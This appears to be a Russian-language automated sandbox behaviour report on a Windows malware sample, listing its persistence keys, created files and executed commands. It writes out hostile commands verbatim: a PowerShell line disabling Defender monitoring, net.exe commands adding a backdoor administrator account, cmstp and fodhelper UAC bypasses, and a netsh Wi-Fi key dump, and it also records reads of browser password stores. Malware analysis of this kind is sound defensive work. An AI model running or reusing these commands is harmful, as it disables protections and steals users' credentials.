Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WindowsUpdateService' = '<Полный путь к файлу>'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'TCP Monitor' = '%LOCALAPPDATA%\tcpmon.exe'
- [HKCU\Software\Classes\ms-settings\shell\open\command] '' = '<Полный путь к файлу>'
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\windowsupdate.bat
- <SYSTEM32>\tasks\microsoftwindowsupdate
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
Запускает на исполнение
- '<SYSTEM32>\net.exe' user WindowsUpdater P@ssw0rd123 /add
- '<SYSTEM32>\net.exe' localgroup Administrators WindowsUpdater /add
Внедряет код в
следующие системные процессы:
- <SYSTEM32>\notepad.exe
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %HOMEPATH%\desktop\508softwareandos.doc
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
- %HOMEPATH%\desktop\applicantform_en.doc
- %HOMEPATH%\desktop\hadac_newsletter_july_2010_final.docx
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\sdszfo.docx
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\dummy.tmp
- %APPDATA%\27489d9b-91c1-43fc-bcdd-6419c6c5060d\run.dat
- %APPDATA%\27489d9b-91c1-43fc-bcdd-6419c6c5060d\config.dat
- %LOCALAPPDATA%\tcpmon.exe
- %TEMP%\4390bca4-a9c1-4260-9c91-e91954cd64a9.tmp
- %TEMP%\6c1b2095-d5d2-4f35-996a-73f8abeb3e3e.tmp
- %TEMP%\5e4b5064-a7a5-4fb4-abb0-2f359996eea4.tmp
- %TEMP%\0f3f0700-b96a-4b9b-b0e3-d6570566286b.tmp
- %TEMP%\9ae895c9-64ea-4bc1-b2f1-350a16585bc9.tmp
- %TEMP%\a428595d-781f-4d38-9d9e-94ee32054856.tmp
- %TEMP%\e17c9aaa-bf35-415c-b5f6-94a38b9a0645.tmp
- %TEMP%\653aa866-cf6b-4c50-986b-fdeb1a207888.tmp
- %TEMP%\8ddcd554-56d9-4772-89f4-8813c9288e4e.tmp
- %TEMP%\0c4fe61b-1ec1-43dc-b162-7b1cff9a3acc.tmp
- %TEMP%\f376b0e3-7b71-4eeb-a01f-edb9abfcfaf0.tmp
- %TEMP%\f7d6c4a1-2bcf-4369-a34e-4da598dd2a0b.tmp
- %TEMP%\83628b99-db61-44e1-a25f-84995feda8c1.tmp
- %TEMP%\d6d1887b-8b84-47e1-a2bf-d368409541c1.tmp
- %TEMP%\37ff4de5-1f1c-417d-9967-16e20ffd74c9.tmp
- %TEMP%\22b5167c-1e94-49f4-ab3b-f22f40bbd965.tmp
- %TEMP%\9f2ace57-ed3b-4a2e-afb5-16889098898f.tmp
- %TEMP%\d9e634e7-3cb6-471e-b1cb-a70fef2fef3e.tmp
- %TEMP%\9e456d81-5ad3-43de-8d17-da9ecf7a5c12.tmp
- %TEMP%\83e77cd6-2616-4021-8108-35257d4fcf1b.tmp
- %TEMP%\a4b1a072-52a2-45b0-b79c-924f1ec20bbb.inf
- %TEMP%\uac.bat
- %ALLUSERSPROFILE%\windowsupdate\install.log
- %APPDATA%\5920bac9-1a16-4dc4-b8dc-23ce3642e3a6\run.dat
- %APPDATA%\5920bac9-1a16-4dc4-b8dc-23ce3642e3a6\config.dat
- %TEMP%\86541337-d126-4bf1-9146-34d05f38c8a5.tmp
- %TEMP%\5d494810-bfba-4c76-b549-7d31293943fa.tmp
- %TEMP%\191ba9fd-1ebf-4fb3-bf42-a6be3469494d.tmp
- %TEMP%\e93f743c-7358-4f83-baf6-ced34947d8fe.tmp
- %TEMP%\dd61c695-22db-4476-a6f1-ee83bedf13b0.tmp
- %TEMP%\a9424482-4b2a-4901-81ab-d6839c3b10f1.tmp
- %TEMP%\c470531e-c38b-4ec1-9a62-ff3c224b4837.tmp
- %TEMP%\8022ecce-30a0-4f55-af8d-8213708f4038.tmp
- %TEMP%\440d8de8-c04d-4ed6-821a-bf5ddf7500a4.tmp
- %TEMP%\af009691-da75-45c3-b961-9018aef69a95.tmp
- %TEMP%\aa088d6d-f471-4754-be76-f8b455e46db1.tmp
- %TEMP%\146dd9db-f728-4d1f-b2b4-88a3e813a042.tmp
- %TEMP%\56386b6e-1e27-4190-8f7a-3b1a258223f8.tmp
- %TEMP%\5a914c47-0340-408a-a696-9b1e0dc0b250.tmp
- %TEMP%\817fd053-d7fc-4a02-a104-406cb6ddea11.tmp
- %TEMP%\9e2f3cc6-4f17-4193-9960-3770b006103c.tmp
- %TEMP%\61a78bbc-b56c-41e2-b810-4e6ce50f3698.tmp
- %TEMP%\6ab27820-c742-4876-b295-c808e35fa561.tmp
- %TEMP%\da8a9ab8-da36-4668-a295-200f99b505fb.tmp
- %TEMP%\1d9660a4-19d4-4aa3-aa5d-5aad9db7de65.tmp
- %TEMP%\685a207b-1379-4994-9dd1-cc9b6205e4fe.inf
- %APPDATA%\1c612222-1e21-4272-a003-dc6fb669a93a\run.dat
- %APPDATA%\1c612222-1e21-4272-a003-dc6fb669a93a\config.dat
- %TEMP%\abdd1537-2589-494e-b7fe-9a079454a8ee.tmp
- %TEMP%\8afbd982-66a2-4353-b729-c191b1d2884f.tmp
- %TEMP%\ee40a07b-64b0-403c-b394-59d85e1c4f68.tmp
- %TEMP%\6225cf0e-e84f-4841-9dd8-a7d21d17b8cc.tmp
- %TEMP%\252f8eab-ca8a-402f-a132-19964ecb3163.tmp
- %TEMP%\c3018ba5-8003-4f93-b3f0-fa7becd9cdf1.tmp
- %TEMP%\cd6c38a2-9b0c-4c53-9e7d-91e1ee7d8527.tmp
- %TEMP%\66c19982-e975-4863-9621-9da1ec36480d.tmp
- %TEMP%\130ac4d0-a3e1-4d0b-ab93-6435d52de921.tmp
- %TEMP%\1f9b5465-416b-4dcf-8403-835d9e868917.tmp
- %TEMP%\496939f2-9717-469d-a46a-6b99aa3ccebf.tmp
- %TEMP%\ee01145e-3280-4e2f-961f-5ba34b220db5.tmp
- %TEMP%\23b4e1cc-7b1a-4113-9a74-ab87f437a53d.tmp
- %TEMP%\d6e3263b-a46c-4d2b-943c-aec8dad90b40.tmp
- %TEMP%\0ffbc3db-12e5-4693-911d-ba2ba68d4986.tmp
- %TEMP%\c85f2978-5b73-45ec-ba20-8e910cfb03c7.tmp
- %TEMP%\bc097c18-7ac9-4a80-ac29-397d70167bc6.tmp
- %TEMP%\5a9b8ae6-0516-43e6-bb8a-dc87634b0d56.tmp
- %TEMP%\e9d957aa-89b7-4948-9155-b64dbeb9cf26.tmp
- %TEMP%\62afdfbb-9a96-409c-900f-e7e18d1b0e74.tmp
- %TEMP%\00b4d33f-0f61-4227-8cab-3b6f564047b1.inf
- %APPDATA%\1a63c53b-f586-4ae1-99a9-663756733bbb\run.dat
- %APPDATA%\1a63c53b-f586-4ae1-99a9-663756733bbb\config.dat
- %TEMP%\ef1fc98b-81c3-47f3-91ad-9e0c5fb505fa.tmp
- %TEMP%\cd15ef10-845a-4855-9d71-6a0b5f572867.tmp
- %TEMP%\d5a09fb2-820b-4831-bbb2-226146c07f93.tmp
- %TEMP%\e8360cfb-5592-414f-8a4d-1e6c43a74f53.tmp
- %TEMP%\7030d043-bdd5-4067-8fba-2bc9c3595396.tmp
- %TEMP%\90510436-48e9-464e-9beb-d66969805c64.tmp
- %TEMP%\21a5cdc0-02e9-4bab-9af6-c1388f17760d.tmp
- %TEMP%\0d2d873a-0b9c-4e12-b568-dd97ee776fe4.tmp
- %TEMP%\2bcd4ed3-835e-46b9-b868-01f1d793b6cd.tmp
- %TEMP%\a6a2127f-04d3-45d0-8c87-a1e3085e136c.tmp
- %TEMP%\75c27ddc-9aca-4dd6-83ae-09dea911e412.tmp
- %TEMP%\e42b9d3b-1159-42c6-88c2-14bffd8d23fa.tmp
- %TEMP%\3c2985e8-9f87-4356-971a-a201938388ad.tmp
- %TEMP%\da5be08c-bb6c-4eb3-bc20-e117a49c8ea8.tmp
- %TEMP%\ad2800bd-9323-45df-b09f-b349fd0b710d.tmp
- %TEMP%\599903a0-bd8f-4098-a1b7-e0319edae6f3.tmp
- %TEMP%\4d4e7acf-d475-4e69-8ee7-09705e428e25.tmp
- %TEMP%\119d3f0c-533c-49ef-b533-6a6c7f112b4b.tmp
- %TEMP%\bb7d3aae-2589-47e3-87bc-6e9ff130afd0.tmp
- %TEMP%\d6f1969a-1475-4fb4-af61-3dd2a7851b77.tmp
- %TEMP%\6e05a8ce-6d2c-4e06-b5f6-bf97d3a1dab2.inf
- %APPDATA%\200d67e6-5587-4ca9-884e-39456ac42500\run.dat
- %APPDATA%\200d67e6-5587-4ca9-884e-39456ac42500\config.dat
- %TEMP%\76c1c798-af79-4a93-bda8-0e2a57ca369b.tmp
- %TEMP%\d1c59dfd-781d-4388-b34f-b43661a92c3c.tmp
- %TEMP%\e53a2a3b-f7b1-4361-be77-5028c36152ca.tmp
- %TEMP%\8b6b7c3b-fe31-41d8-8b34-94bf2c6325e5.tmp
- %TEMP%\3ebc0246-fd94-4b57-9141-128e3453617c.tmp
- %TEMP%\bd380b44-2f9b-4748-a217-549ae2690e36.tmp
- %TEMP%\d8c38cff-fc5f-4446-8417-4f6f0e3f60f8.tmp
- %TEMP%\5bac2645-f056-41e3-9bb1-dbb35426c106.tmp
- %TEMP%\561a94b7-ecb4-4fbe-83bd-db61acb1d5e6.tmp
- %TEMP%\b86617d1-f00a-4a70-8103-8e94d944dea6.tmp
- %TEMP%\ee8e437b-1528-4db1-83dd-c8ab18020067.tmp
- %TEMP%\aca9e15c-11a1-4f9e-b1f2-a4f521667a21.tmp
- %TEMP%\81f95ac7-de09-4f22-863c-8f8693143010.tmp
- %TEMP%\c256e4cf-41a9-40a6-b738-484abbd45e60.tmp
- %TEMP%\93d4273e-e612-4ccc-b8c6-d62e6e119425.tmp
- %TEMP%\ee8b44ae-6fed-4c97-bbab-4c822b75d7e8.tmp
- %TEMP%\03478b21-354f-405a-94f5-5726efdebad4.tmp
- %TEMP%\13470453-e203-4459-a8bb-b04f9f17945a.tmp
- %TEMP%\4b58cde1-567e-4b29-83fb-ab87cb4e4982.tmp
- %TEMP%\1b654b37-a980-446e-97d8-cb8be561072e.tmp
- %TEMP%\78d396ec-32ca-40c9-b6a5-6240caed562c.inf
- %APPDATA%\aed6fd62-c575-46f2-8700-58a2b47b954a\run.dat
- %APPDATA%\aed6fd62-c575-46f2-8700-58a2b47b954a\config.dat
- %TEMP%\d30beddb-6698-4152-8e9e-8ca50e028929.tmp
- %TEMP%\90a7a8aa-0a5c-4dab-897e-35aefa96adc6.tmp
- %TEMP%\bf100e03-6aa2-456c-b9ea-9ce0ca03c4ee.tmp
- %TEMP%\540bd71e-5e6a-43d8-81ce-db7fa20ac383.tmp
- %TEMP%\9c854502-ba19-4988-9b21-0caebb820384.tmp
- %TEMP%\741f666a-4f70-415b-a02e-6703bf9cc740.tmp
- %TEMP%\318479fa-75ad-4b61-b441-b2732df70671.tmp
- %TEMP%\401c1ae4-9d5d-4019-bcc6-8c8de808d744.tmp
- %TEMP%\53cf3666-c760-41e4-9702-5a1198a6f3e8.tmp
- %TEMP%\1389303b-015f-41e6-8d80-a6b2e3d1524d.tmp
- %TEMP%\4b6815b8-0388-494c-84da-5be89ac2ea4f.tmp
- %TEMP%\bd642ba0-98a3-428d-b1c7-628f9cdccb63.tmp
- %TEMP%\0860e3ca-7acc-4ba9-8b08-c5043d0fc4a0.tmp
- %TEMP%\33379e4a-2ddf-4154-8703-42f0bf1e682c.tmp
- %TEMP%\9912971a-a4e1-4f75-b79b-a83e07ce93ec.tmp
- %TEMP%\c50ad910-be8f-421b-9784-dfd7dfef4430.tmp
- %TEMP%\7fc378fa-ab7f-4eff-8929-bc0383cb1396.tmp
- %TEMP%\b789f296-e6a5-41fb-bd08-f5821adf4908.tmp
- %TEMP%\8c46adf9-5ec1-4a75-b208-716bba4234d2.tmp
- %TEMP%\89ffd3d5-e60f-4586-bc8c-0edfccf2e5d4.tmp
- %TEMP%\6372603a-3122-4b73-b09d-8853f32011e1.inf
- %APPDATA%\934d2885-60b6-4e5f-96ae-8aac86d07b65\run.dat
- %APPDATA%\934d2885-60b6-4e5f-96ae-8aac86d07b65\config.dat
- %TEMP%\8cff5243-f191-47c3-8342-b7d0bd36aff5.tmp
- %TEMP%\e46ba8ed-a47f-4a3a-b8d1-c4b1d6fc11ab.tmp
- %TEMP%\0ff7ba5b-373a-493d-a1f8-a87c8469dcb2.tmp
- %TEMP%\64c49ec7-2cb5-4133-89dc-2e3bd02de32d.tmp
- %TEMP%\d0d81fc0-1b9a-4ccc-803e-b0ef612ab638.tmp
- %TEMP%\f362c374-b2c6-4139-afa1-faef0c3f50a1.tmp
- %TEMP%\75abb3e0-9d5c-42cc-96b3-c56186b12c13.tmp
- %TEMP%\6adb828b-cd53-4ac3-a8b4-87e8f8840e88.tmp
- %TEMP%\3df4bf3b-d3fc-4d02-926f-fe266b063f6e.tmp
- %TEMP%\2bf58340-4ba6-4523-aa7b-8380c36b4eb5.tmp
- %TEMP%\019e41ca-0282-471b-b315-c73dc5d8c3cf.tmp
- %TEMP%\74a1bd56-a6a8-45c5-b5ce-80eb35c020fd.tmp
- %TEMP%\23bc6173-98c2-440a-bf85-ffa7c9508f13.tmp
- %TEMP%\6e5be87f-0ebd-40a3-8806-4408f4661730.tmp
- %TEMP%\57478470-d1b6-4e75-a64c-4f3831ffb8ac.tmp
- %TEMP%\8ceacee0-cd5c-467a-b4b1-3cccb317bd07.tmp
- %TEMP%\c7c85442-c879-4ee9-bbab-2e333d45e31f.tmp
- %TEMP%\066de3b9-8617-4087-a0e8-5440706f4113.tmp
- %TEMP%\70498c86-8517-4c44-abc0-84eacc92c089.tmp
- %TEMP%\7174deb6-db77-42cd-8d78-d46892ea5e0e.tmp
- %TEMP%\844fa39d-0731-4fa4-929b-447a22ded0c3.inf
- %APPDATA%\184973eb-e3f5-49c8-a926-8b892c2cb086\run.dat
- %APPDATA%\184973eb-e3f5-49c8-a926-8b892c2cb086\config.dat
- %TEMP%\60f3d61b-81de-4157-94e5-ae096e663740.tmp
- %TEMP%\3cd28e67-e7f0-4df4-934b-d57df7208979.tmp
- %TEMP%\851daa02-b3ad-4ec8-8368-07532ae91307.tmp
- %TEMP%\58461ffa-90d3-4f42-992a-8d48df572750.tmp
Удаляет файлы, которые сам же создал
- %TEMP%\dummy.tmp
Подменяет следующие файлы
- %TEMP%\dummy.tmp
Другое
Перезапускает анализируемый образец
Запускает на исполнение
- '<SYSTEM32>\schtasks.exe' /create /tn "MicrosoftWindowsUpdate" /tr "<Полный путь к файлу>" /sc onlogon /f
- '<SYSTEM32>\cmstp.exe' /au %TEMP%\a4b1a072-52a2-45b0-b79c-924f1ec20bbb.inf
- '<SYSTEM32>\eventvwr.exe'
- '<SYSTEM32>\fodhelper.exe'
- '<SYSTEM32>\mmc.exe' "<SYSTEM32>\eventvwr.msc" (со скрытым окном)
- '<SYSTEM32>\net1.exe' user WindowsUpdater P@ssw0rd123 /add
- '<SYSTEM32>\net1.exe' localgroup Administrators WindowsUpdater /add
- '<SYSTEM32>\cmstp.exe' /au %TEMP%\685a207b-1379-4994-9dd1-cc9b6205e4fe.inf
- '<SYSTEM32>\notepad.exe'
- '<SYSTEM32>\cmstp.exe' /au %TEMP%\00b4d33f-0f61-4227-8cab-3b6f564047b1.inf
- '<SYSTEM32>\cmstp.exe' /au %TEMP%\6e05a8ce-6d2c-4e06-b5f6-bf97d3a1dab2.inf
- '<SYSTEM32>\cmstp.exe' /au %TEMP%\78d396ec-32ca-40c9-b6a5-6240caed562c.inf
- '<SYSTEM32>\netsh.exe' wlan show profiles key=clear
- '<SYSTEM32>\cmstp.exe' /au %TEMP%\6372603a-3122-4b73-b09d-8853f32011e1.inf
- '<SYSTEM32>\cmstp.exe' /au %TEMP%\844fa39d-0731-4fa4-929b-447a22ded0c3.inf
- '<SYSTEM32>\cmstp.exe' /au %TEMP%\e607d41a-5cb9-4020-988c-4bd56733d8c0.inf
- '<SYSTEM32>\cmstp.exe' /au %TEMP%\d6772372-8c0d-4a56-802a-13ac9f9d8753.inf
